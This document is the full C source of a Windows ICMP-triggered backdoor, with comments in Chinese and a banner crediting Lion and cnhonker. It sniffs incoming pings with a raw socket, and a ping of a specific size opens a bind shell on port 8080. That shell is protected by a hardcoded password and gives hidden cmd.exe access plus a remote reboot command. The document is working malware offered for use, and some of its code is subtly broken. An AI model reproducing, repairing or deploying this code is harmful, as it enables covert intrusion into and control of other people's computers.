pingback後門（原始碼）

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
//#include <ws2tcpip.h>
#include <mstcpip.h>

#define ICMP_ECHO 8          // ICMP回應要求報文的類型值為8
#define ICMP_ECHOREPLY 0      // ICMP回顯應答報文的類型值為0
#define SNIFFER_ICMP_SIZE 101    // 監聽ICMP包的大?
#define BIND_PORT 8080        // 預設bind shell 連接埠
#define MAX_PACKET 10000      // 最大ICMP包的大?
#define DEF_PASSWORD "givemeshell!" // 預設密碼

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s))

// 定義IP 首部
typedef struct iphdr
{
  unsigned char h_verlen; // 4位首部長度,4位IP版本號碼 1
unsigned char tos; // 8位服務類型TOS 1
unsigned short total_len; // 16位總長度(位元組) 2
unsigned short ident; // 16位標識 2
unsigned short frag_and_flags; // 3位標誌位 2
unsigned char ttl; // 8位存留時間 TTL 1
unsigned char proto; // 8位協議(TCP, UDP 或其它) 1
unsigned short checksum; // 16位IP首部校正和 2
unsigned int sourceIP; // 32位源IP地址 4
unsigned int destIP; // 32位目的IP地址 4
} IPHeader; // IP首部長度為： 20

// 定義ICMP首部
typedef struct _ihdr
{
unsigned char i_type; // 8位類型 1
unsigned char i_code; // 8位代碼 1
unsigned short i_cksum; // 16位校正和 2
unsigned short i_id; // 識別號(用進程號作為識別) 2
unsigned short i_seq; // 報文序號 2
} ICMPHeader; // ICMP首部長度為： 8

int sniffer(); // 監聽ICMP 大?
void decode_sniffer(char *, int, struct sockaddr_in *); // 簡單Sniffer 解包程式
int bindshell();         // bind shell

DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
HANDLE bindthread;

// ICMPDoor 主函數
int main(int argc, char **argv)
{
WSADATA wsaData;
int retval;

// socket 初始化
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)
{
printf("WSAStartup failed: %d/n",retval);
exit(-1);
}

// sniffer 開始
sniffer();

// socket 結束
WSACleanup();
return 0;
}

// sniffer 主函數
int sniffer()
{
int packsize = SNIFFER_ICMP_SIZE;
SOCKET socksniffer;
struct sockaddr_in dest,from;
struct hostent * hp;
int sread;
int fromlen = sizeof(from);
unsigned char LocalName[256];
char *recvbuf;

// 建立一個原始socket, 接受所有接收的包(sniffer)
if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
{
printf("WSASocket() failed: %d/n", WSAGetLastError());
return -1;
}

// 取得本地地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
return -1;
}
memset(&dest,0,sizeof(dest));
memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP嗅探選項
dest.sin_family = AF_INET;
dest.sin_port = htons(8000); // 指定任意連接埠
// socket bind
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));

// 設定socket為接受所有包
WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,

sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );

// 分配socket接收緩衝區大小為MAX_PACKET
recvbuf = (char *)xmalloc(MAX_PACKET);

printf("Sniffer ok!");

// 迴圈監聽包的大小
while(1)
{
// 讀資料
sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen);

// 如果讀資料出錯
if (sread == SOCKET_ERROR || sread < 0)
{
if (WSAGetLastError() == WSAETIMEDOUT)
{
continue;
}
printf("recvfrom failed: %d/n",WSAGetLastError());
return -1;
    }
else
//    if ( sread >= 28)
// 如果讀到資料的大小 == 監聽包的大小 + 28
if ( sread == packsize + 28)
{
// 將接收到的資料交給 Sniffer 解包程式處理
decode_sniffer(recvbuf, sread - 28, &from);
}
}
return 1;
}

// 簡單Sniffer 解包程式
void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from)
{
  ICMPHeader *icmphdr;

  // ICMP首部的地址等於buf+IP首部長度：buf+20
  icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader));  

/*
  printf("/r/n %d bytes from %s,", bytes, inet_ntoa(from->sin_addr));    // 取出接收資料
  printf(" ICMP_Type: %d", icmphdr->i_type);          // 檢測類型
  printf(" ICMP_Seq: %d/r/n", icmphdr->i_seq);          // 取出序號
    
  //?出資料區段 buf + 28 + i
  for(int i = 0; i < bytes - 1; i++)
  {
    printf("%c", *(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));  
  }
*/
  
//  if (icmphdr->i_type == ICMP_ECHO || icmphdr->i_type == ICMP_ECHOREPLY)
  // 簡單判斷如果為icmp 請求包
  if (icmphdr->i_type == ICMP_ECHO)
  {
// bind shell
bindshell();

//    DWORD bid;
//    bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);
}
else
printf("/r/n Get Other Packets!");

return;  
}

// bind shell函數
int bindshell(){
int bport = BIND_PORT;
SOCKET bindServer, getClient;
struct sockaddr_in addrServer, addrClient;
char Buff[4096];
char *messages = "/r/n======================== Ping BackDoor V0.1 ========================/r/n========= Code by Lion.

Welcome to Http://www.cnhonker.net =========/r/n";
char *getpass = "/r/n Your PassWord:";
char *passok = "/r/n OK! Please Enter:";
char *nothispass = "/r/n Sorry, Your PassWord Not Right./r/n";
char *exitok = "/r/n Exit OK!/r/n";
char *rebootok = "/r/n Reboot now!/r/n";

  // 建立一個socket
  bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // 伺服器位址和連接埠指定
  addrServer.sin_family = AF_INET;
  addrServer.sin_port = htons(bport);
  addrServer.sin_addr.s_addr = ADDR_ANY;

  // 設定逾時
int TimeOut = 60000;
  setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut));

  // 設定重複利用連接埠
  UINT bReUser = 1;
  setsockopt(bindServer, SOL_SOCKET, SO_REUSEADDR, (char*)&bReUser, sizeof(bReUser));

  // 監聽連接埠
  bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer));
  listen(bindServer, 2);

  printf("/r/n Bind Port on %d ok.", bport);

  // 接受client串連
  int iLen = sizeof(addrClient);

  // 接收1次串連
  getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen);

  if(getClient != INVALID_SOCKET)
  {
    // 如果有串連進來設定延時為60S
    int iTimeOut = 60000;
    setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut));
  }
  else
    return -1;

  // 寫歡迎資訊
  send(getClient, messages, strlen(messages), 0);

  // 寫密碼驗證資訊
  send(getClient, getpass, strlen(getpass), 0);

  // 接收資料
  recv(getClient,Buff,1024,0);

  // 驗證密碼
  if(!(strstr(Buff, DEF_PASSWORD)))
  {
    // 如果密碼錯誤,寫密碼錯誤資訊
    send(getClient, nothispass, strlen(nothispass), 0);
    printf("/r/n PassWord Not Right!");
    closesocket(getClient);
    closesocket(bindServer);
    return -1;
  }

  // 寫通過驗證資訊
  send(getClient, passok, strlen(passok), 0);

  // 建兩個匿名管道
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
  unsigned long lBytesRead;
      
  SECURITY_ATTRIBUTES sa;
  
  sa.nLength=12;
  sa.lpSecurityDescriptor=0;
  sa.bInheritHandle=TRUE;

  CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
  CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
    

STARTUPINFO siinfo;
char cmdLine[] = "cmd.exe";
  PROCESS_INFORMATION ProcessInformation;

  ZeroMemory(&siinfo,sizeof(siinfo));
  siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  siinfo.wShowWindow = SW_HIDE;
  siinfo.hStdInput = hReadPipe2;            // 讀socket寫入pipe2的資料
  siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 向這裡寫資料

  printf("/r/n Pipe Create OK!");

// 建立一個cmd進程, 由hReadPipe2讀資料,向hWritePipe1寫資料
  int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);

while(1)
{
// 檢查管道是否有資料返回
int ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);

if(lBytesRead)
{
// 從管道hReadPipe1讀資料
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
      
// 把從管道hReadPipe1讀到的資料寫入串連 getClient
ret = send(getClient,Buff,lBytesRead,0);
if(ret <= 0) break;
}
else
{
// 如果串連 getClient 有接收到資料
lBytesRead = recv(getClient,Buff,1024,0);
if(lBytesRead <= 0) break;
    
// 把從串連 getClient 讀到的資料寫入hWritePipe2
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);

if(lBytesRead > 4 && Buff[0]=='e' && Buff[1]=='x' && Buff[2]=='i' && Buff[3]=='t')
{
// 寫退出資訊
send(getClient, exitok, strlen(exitok), 0);
closesocket(getClient);
closesocket(bindServer);
return 1;
}
else if(lBytesRead > 6 && Buff[0]=='r' && Buff[1]=='e' && Buff[2]=='b' && Buff[3]=='o' &&

Buff[1]=='o' && Buff[2]=='t')
{
// 寫重啟
send(getClient, rebootok, strlen(rebootok), 0);
closesocket(getClient);
closesocket(bindServer);
ExitWindowsEx(EWX_REBOOT,NULL);
return 1;
}

if(!ret) break;
}
}

closesocket(getClient);
closesocket(bindServer);
return 1;
}